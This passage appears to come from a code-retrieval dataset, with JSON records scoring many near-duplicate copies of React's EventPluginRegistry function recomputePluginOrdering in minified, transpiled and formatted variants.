(plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n\t plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n\t }\n\t }\n\t}", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e5e75a92fba6b9563a0f4101d57249f7", "score": "0.7117351", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n if (plugins[pluginIndex]) {\n continue;\n }\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "71320c87e29b0709054301207898fd5d", "score": "0.71010214", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n }\n }\n }", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "e46732c54378ef3e4fc63bdeabf29170", "score": "0.709135", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "a0001144c65b8d7f4c99259877373c2e", "score": "0.7091044", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n (function () {\n if (!(pluginIndex > -1)) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\"));\n }\n }\n })();\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n (function () {\n if (!pluginModule.extractEvents) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\"));\n }\n }\n })();\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n (function () {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\"));\n }\n }\n })();\n }\n }\n}", "title": "" }, { "docid": "a0001144c65b8d7f4c99259877373c2e", "score": "0.7091044", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n (function () {\n if (!(pluginIndex > -1)) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\"));\n }\n }\n })();\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n (function () {\n if (!pluginModule.extractEvents) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\"));\n }\n }\n })();\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n (function () {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw ReactError(Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\"));\n }\n }\n })();\n }\n }\n}", "title": "" }, { "docid": "e13975add91add60bd752190a416be2d", "score": "0.7089771", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error( \"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\" );\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error( \"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\" );\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error( \"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\" );\n }\n }\n }\n }\n }", "title": "" }, { "docid": "58d6bbf370cd4bd51d6f8a2ac7524c08", "score": "0.70865196", "text": "function recomputePluginOrdering() {\n\t if (!eventPluginOrder) {\n\t // Wait until an `eventPluginOrder` is injected.\n\t return;\n\t }\n\t for (var pluginName in namesToPlugins) {\n\t var pluginModule = namesToPlugins[pluginName];\n\t var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\t !(pluginIndex > -1) ? invariant(false, 'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.', pluginName) : void 0;\n\t if (plugins[pluginIndex]) {\n\t continue;\n\t }\n\t !pluginModule.extractEvents ? invariant(false, 'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.', pluginName) : void 0;\n\t plugins[pluginIndex] = pluginModule;\n\t var publishedEvents = pluginModule.eventTypes;\n\t for (var eventName in publishedEvents) {\n\t !publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName) ? invariant(false, 'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.', eventName, pluginName) : void 0;\n\t }\n\t }\n\t }", "title": "" }, { "docid": "ed96138cc64a5cb86506b3f3a1b54148", "score": "0.70746076", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n (function () {\n if (!(pluginIndex > -1)) {\n {\n throw ReactError(Error('EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `' + pluginName + '`.'));\n }\n }\n })();\n if (plugins[pluginIndex]) {\n continue;\n }\n (function () {\n if (!pluginModule.extractEvents) {\n {\n throw ReactError(Error('EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `' + pluginName + '` does not.'));\n }\n }\n })();\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n for (var eventName in publishedEvents) {\n (function () {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw ReactError(Error('EventPluginRegistry: Failed to publish event `' + eventName + '` for plugin `' + pluginName + '`.'));\n }\n }\n })();\n }\n }\n}", "title": "" }, { "docid": "c7007fcece18155965db3a30aa2aa72d", "score": "0.707138", "text": "function recomputePluginOrdering(){if(!eventPluginOrder){// Wait until an `eventPluginOrder` is injected.\nreturn;}for(var pluginName in namesToPlugins){var pluginModule=namesToPlugins[pluginName];var pluginIndex=eventPluginOrder.indexOf(pluginName);!(pluginIndex>-1)?invariant(false,'EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `%s`.',pluginName):void 0;if(EventPluginRegistry.plugins[pluginIndex]){continue;}!pluginModule.extractEvents?invariant(false,'EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `%s` does not.',pluginName):void 0;EventPluginRegistry.plugins[pluginIndex]=pluginModule;var publishedEvents=pluginModule.eventTypes;for(var eventName in publishedEvents){!publishEventForPlugin(publishedEvents[eventName],pluginModule,eventName)?invariant(false,'EventPluginRegistry: Failed to publish event `%s` for plugin `%s`.',eventName,pluginName):void 0;}}}", "title": "" }, { "docid": "d37d2c56accc4eb8429ee937ddf08705", "score": "0.70659184", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\");\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\");\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\");\n }\n }\n }\n }\n }", "title": "" }, { "docid": "d37d2c56accc4eb8429ee937ddf08705", "score": "0.70659184", "text": "function recomputePluginOrdering() {\n if (!eventPluginOrder) {\n // Wait until an `eventPluginOrder` is injected.\n return;\n }\n\n for (var pluginName in namesToPlugins) {\n var pluginModule = namesToPlugins[pluginName];\n var pluginIndex = eventPluginOrder.indexOf(pluginName);\n\n if (!(pluginIndex > -1)) {\n {\n throw Error(\"EventPluginRegistry: Cannot inject event plugins that do not exist in the plugin ordering, `\" + pluginName + \"`.\");\n }\n }\n\n if (plugins[pluginIndex]) {\n continue;\n }\n\n if (!pluginModule.extractEvents) {\n {\n throw Error(\"EventPluginRegistry: Event plugins must implement an `extractEvents` method, but `\" + pluginName + \"` does not.\");\n }\n }\n\n plugins[pluginIndex] = pluginModule;\n var publishedEvents = pluginModule.eventTypes;\n\n for (var eventName in publishedEvents) {\n if (!publishEventForPlugin(publishedEvents[eventName], pluginModule, eventName)) {\n {\n throw Error(\"EventPluginRegistry: Failed to publish event `\" + eventName + \"` for plugin `\" + pluginName + \"`.\");\n }\n }\n }\n }\n }", 